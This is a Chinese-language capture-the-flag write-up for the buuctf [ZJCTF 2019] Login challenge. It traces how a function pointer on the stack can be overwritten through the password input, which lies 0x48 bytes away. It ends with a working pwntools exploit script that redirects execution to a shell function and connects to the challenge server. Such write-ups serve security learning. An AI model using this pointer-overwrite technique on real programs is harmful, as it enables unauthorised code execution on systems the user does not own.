题目来源
buuctf——[ZJCTF 2019]Login
本题主要考察参数溯源的能力。
参考链接
https://zhuanlan.zhihu.com/p/570607303
题目信息
64位,ubuntu16,开了金丝雀
C++风格的代码,并且将admin登录信息写入代码中。
溢出点不在这里,但是(**a1)();说明程序将执行参数中的内容。想要利用这里需要通过admin验证。
对应的汇编语言,执行了[[rax]],且说明至少有两个lea指令。 给出了shell的利用点。
解题步骤
回溯rax的赋值步骤,找到可以覆盖现rax值的地址,输入正确admin信息并将shell地址写入该地址即可。
关键步骤
回溯rax
回到父函数中
进入password_checker中
password_checker与read_password中间没有修改rax的值,且同为相同父函数的子函数,rbp相同(可以自己动态调试试试),因此[rbp+var_18]相同。
fgets虽然没有溢出,但是也可以覆盖到[rbp+var_18]
相差0x48个字节,所以得到了输入密码时的偏移位置
wp
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./login"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",28905)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
shell = 0x400E88
payload = (b'2jctf_pa5sw0rd').ljust(0x48,b'\x00') + p64(shell)
sla("Please enter username:",b"admin")
sla("Please enter password:",payload)
ti()